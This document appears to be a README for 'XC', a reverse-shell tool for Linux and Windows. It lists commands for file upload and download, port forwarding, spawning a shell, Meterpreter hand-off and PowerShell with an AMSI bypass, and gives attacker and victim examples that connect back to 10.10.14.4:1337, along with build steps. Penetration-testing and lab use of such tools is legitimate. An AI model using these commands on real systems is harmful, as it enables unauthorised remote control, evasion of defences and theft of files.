XC : A Small Reverse Shell For Linux And Windows

XC is a Netcat like reverse shell for Linux & Windows.

Features

Windows

Usage:
└ Shared Commands: !exit
!upload

• uploads a file to the target
  !download
• downloads a file from the target
  !lfwd
• local portforwarding (like ssh -L)
  !rfwd
• remote portforwarding (like ssh -R)
  !lsfwd
• lists active forwards
  !rmfwd
• removes forward by index
  !plugins
• lists available plugins
  !plugin
• execute a plugin
  !spawn
• spawns another client on the specified port
  !shell
• runs /bin/sh
  !runas
• restart xc with the specified user
  !met
• connects to a x64/meterpreter/reverse_tcp listener └ OS Specific Commands: !powershell
  • starts powershell with AMSI Bypass
    !rc
  • connects to a local bind shell and restarts this client over it
    !runasps
  • restart xc with the specified user using powershell
    !vulns
  • checks for common vulnerabilities

Linux

Usage:
└ Shared Commands: !exit
!upload

• uploads a file to the target
  !download
• downloads a file from the target
  !lfwd
• local portforwarding (like ssh -L)
  !rfwd
• remote portforwarding (like ssh -R)
  !lsfwd
• lists active forwards
  !rmfwd
• removes forward by index
  !plugins
• lists available plugins
  !plugin
• execute a plugin
  !spawn
• spawns another client on the specified port
  !shell
• runs /bin/sh
  !runas
• restart xc with the specified user
  !met
• connects to a x64/meterpreter/reverse_tcp listener
  └ OS Specific Commands:
  !ssh
• starts sshd with the configured keys on the specified port

Examples

• Linux Attacker: rlwrap xc -l -p 1337 (Server)
• WindowsVictim : xc.exe 10.10.14.4 1337 (Client)
• Argumentless: xc_10.10.14.4_1337.exe (Client)

Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64 and kali go version go1.15.9 linux/amd64

git clone –recurse-submodules https://github.com/xct/xc.git
GO111MODULE=off go get golang.org/x/sys/…
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

Linux

python3 build.py